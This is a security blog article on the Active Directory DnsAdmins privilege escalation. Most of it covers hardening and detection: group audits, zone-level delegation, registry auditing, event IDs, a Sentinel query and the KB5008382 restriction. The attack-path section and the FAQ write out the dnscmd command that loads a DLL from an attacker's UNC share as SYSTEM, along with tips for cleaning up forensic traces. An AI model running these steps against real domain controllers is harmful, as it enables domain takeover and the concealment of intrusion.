Active Directory DnsAdmins Privilege Escalation: How It Works and How to Harden Your DNS Configuration
Retool's new app builder is where AI-generated code ships safely
Building apps with AI is easy. Getting them to production safely is another story.
The DnsAdmins privilege escalation is old but rarely hardened. Organizations add helpdesk staff and DNS engineers to DnsAdmins for operational reasons without realizing the group confers an effective path to domain admin. The fix is simple: remove non-essential members from DnsAdmins and monitor for the specific registry key that triggers DLL loading. This guide covers the attack mechanics, detection, and remediation.
The Attack Path Step by Step
An attacker with a DnsAdmins account executes: dnscmd <dc-hostname> /config /serverlevelplugindll \attacker-share\malicious.dll. This writes the UNC path to the registry key HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ServerLevelPluginDll on the target DC. When the DNS Server service is restarted (or via sc stop dns followed by sc start dns -- DnsAdmins members can restart the DNS service), Windows loads the DLL from the specified UNC path and executes its DllMain function as SYSTEM. The DLL can: add the attacker's account to Domain Admins, drop a SYSTEM shell, execute Mimikatz to dump credentials, or establish persistence. After successful execution, the attacker should clean up by removing the ServerLevelPluginDll registry value (dnscmd <dc> /config /serverlevelplugindll 0) to reduce forensic traces. The DNS service must be restarted twice: once to load the DLL, once to resume normal operation after the DLL executes.
Who Is in Your DnsAdmins Group?
Run immediately: Get-ADGroupMember -Identity 'DnsAdmins' -Recursive | Get-ADUser -Properties Title, Department, Manager | Select-Object Name, SamAccountName, Title, Department | Format-Table. Common unexpected findings: helpdesk accounts added years ago for DNS record creation, server administrators who were given DnsAdmins for convenience, and sometimes service accounts with no documented reason for DNS admin access. The legitimate use cases for DnsAdmins membership are narrow: only engineers who actively manage DNS server configuration (not just DNS records -- DNS record management can be delegated at the zone level without DnsAdmins). Most organizations find they can reduce DnsAdmins to 1 to 3 people or eliminate it entirely in favor of zone-level delegation.
Briefings like this, every morning before 9am.
Threat intel, active CVEs, and campaign alerts, distilled for practitioners. 50,000+ subscribers. No noise.
Restrict DnsAdmins and Implement Zone-Level Delegation
Remove all members from DnsAdmins who only need to create, modify, or delete DNS records (A records, CNAME, MX, etc.). They do not need DnsAdmins membership for this. Instead, grant them zone-level permissions in DNS Manager: open dnsmgmt.msc, right-click the zone, Properties > Security tab, add the user or group with Read and Write permissions. This allows full DNS record management within that zone without granting DNS server administration privileges. For the small set of engineers who genuinely need DNS server configuration (changing forwarders, root hints, server-level settings), keep them in DnsAdmins -- but treat DnsAdmins membership the same as Domain Admin membership for access review and MFA purposes. Add DnsAdmins as a protected group in your PAM solution or at minimum require privileged workstation access for DnsAdmins members.
Detect the Attack via Registry Monitoring
Monitor the ServerLevelPluginDll registry key on all domain controllers. Any value other than empty in HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ServerLevelPluginDll is a critical finding. PowerShell check: Get-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters' -Name ServerLevelPluginDll -ErrorAction SilentlyContinue. This should return nothing (key does not exist) on hardened DCs. Configure registry auditing on this key path via Group Policy (Computer Configuration > Windows Settings > Security Settings > Advanced Audit Policy > Object Access > Audit Registry). This generates Event ID 4657 (registry value modified) when the key is written. In the DNS service event log, Event ID 770 (DNS server plugin DLL has been loaded) fires when a plugin DLL is actually loaded -- if you see this event on a DC and did not expect it, treat it as a P1 incident. Forward both events to your SIEM with immediate alerting.
Monitor DnsAdmins Membership Changes
After reducing DnsAdmins membership to the minimal necessary set, alert on any future membership change. Event ID 4728 (member added to a security group) or 4756 (member added to a universal security group) filtered for the DnsAdmins group fires any time someone is added. KQL in Sentinel: SecurityEvent | where EventID in (4728, 4756) and TargetUserName == 'DnsAdmins' | project TimeGenerated, SubjectUserName, MemberName, TargetUserName. This alert should go to the security team, not just the DNS team -- DnsAdmins changes are a Tier 0 identity change. Also check for nested groups: a group in DnsAdmins whose membership is loosely controlled effectively expands DnsAdmins membership without triggering the group-specific alert.
The bottom line
DnsAdmins is a Tier 0 privilege group in every Active Directory environment. Treat membership in DnsAdmins with the same scrutiny as Domain Admins. Remove all members who only need DNS record management and use zone-level delegation instead. Monitor the ServerLevelPluginDll registry key on all DCs and alert on any non-empty value. Forward DNS Event ID 770 to your SIEM immediately.
Frequently asked questions
Did Microsoft patch the DnsAdmins vulnerability?
Microsoft does not consider DnsAdmins an exploitable vulnerability requiring a patch -- it is classified as a design decision: DnsAdmins members are intended to have full DNS server management, including plugin loading. The mitigation is configuration, not a patch: remove unnecessary members from the group and monitor for the attack signature. Microsoft did release guidance in KB5008382 (November 2021) adding an optional restriction that blocks the ServerLevelPluginDll configuration unless the DNS server has been specifically opted in, but this is not enabled by default.
Can this attack work without restarting the DNS service?
The DLL is loaded when the DNS service starts. The attacker must restart the DNS service after writing the registry key for the DLL to load. DnsAdmins members can restart the DNS service using sc stop/start dns or via the Services snap-in. Restarting the DNS service on a DC causes a brief DNS outage for clients using that DC as their DNS resolver -- this transient outage may be detectable in DNS monitoring dashboards. During an incident investigation, check if any DnsAdmins member restarted the DNS service around the time of suspected compromise.
Is there a way to disable plugin DLL loading entirely?
Yes, via the KB5008382 restriction. After installing the update, set HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters\EnableRegistryPlugins to 0 to block all plugin DLL loading. This disables legitimate DNS plugin functionality if you use any DNS plugins, but most organizations do not use custom DNS plugins. Validate that your environment does not use DNS plugins before applying this restriction, then deploy it to all DCs via GPO.
Can the attack be done remotely without being on the DC?
Yes. The dnscmd command runs against a remote DC by specifying the DC hostname: dnscmd dc01.domain.com /config /serverlevelplugindll \\attacker-share\evil.dll. The attacker only needs network access to the DC's RPC port and DnsAdmins group membership -- they do not need to be physically present or locally logged into the DC. The DLL path can be a remote UNC share (the DC will fetch the DLL from the share when loading) or a local path on the DC (requires prior file write access to the DC).
What other Active Directory groups beyond DnsAdmins carry under-recognized privilege escalation risk?
Several groups are commonly overlooked: Account Operators (can manage most user and group accounts, including adding accounts to groups -- except protected groups -- but can still be abused for lateral movement). Backup Operators (can bypass NTFS file permissions to back up files, including the NTFS System Volume which contains the AD database). Server Operators (can start and stop services on DCs, potentially abusing service binary replacement). Print Operators (can load printer drivers, which execute as SYSTEM). Remote Management Users (can access WinRM, which allows PowerShell remoting to DCs). Audit each of these groups with the same scrutiny as DnsAdmins -- they all provide paths that can reach DC-level access under the right conditions.
How do you remove a member from DnsAdmins without breaking DNS if they had legitimate responsibilities?
Removing a member from DnsAdmins requires first redistributing any legitimate DNS management responsibilities to a safer mechanism. Identify what DNS tasks the account actually performed: zone transfers, record management, DNS server configuration. For DNS record management, delegate using DNS ACLs at the zone level rather than group membership: right-click a zone in DNS Manager > Properties > Security tab, grant the specific account Read and Create All Child Objects limited to that zone only, which allows record management without DnsAdmins membership. For DNS server configuration tasks (changing forwarders, root hints, logging settings), these should be performed only by Tier 0 admins with Domain Admin access, not delegated to lower tiers. After removing from DnsAdmins, test DNS resolution and any automated DNS management scripts that may have used that account. Monitor DNS server event logs (Event ID 770 in DNS Server Operational log) for failures. If the account ran scripts that modify DNS server configuration, those scripts need to be updated to use a Tier 0 service account rather than a DnsAdmins member.
Sources & references
Free resources
Critical CVE Reference Card 2025–2026
25 actively exploited vulnerabilities with CVSS scores, exploit status, and patch availability. Print it, pin it, share it with your SOC team.
Ransomware Incident Response Playbook
Step-by-step 24-hour IR checklist covering detection, containment, eradication, and recovery. Built for SOC teams, IR leads, and CISOs.
Get threat intel before your inbox does.
50,000+ security professionals read Decryption Digest for early warnings on zero-days, ransomware, and nation-state campaigns. Free, daily, no spam.
Unsubscribe anytime. We never sell your data.
Founder & Cybersecurity Evangelist, Decryption Digest
Cybersecurity professional with expertise in threat intelligence, vulnerability research, and enterprise security. Covers zero-days, ransomware, and nation-state operations for 50,000+ security professionals every morning.
Win a $2,495 Black Hat pass.
Full-access to Black Hat USA 2026 in Las Vegas. Subscribe free to enter.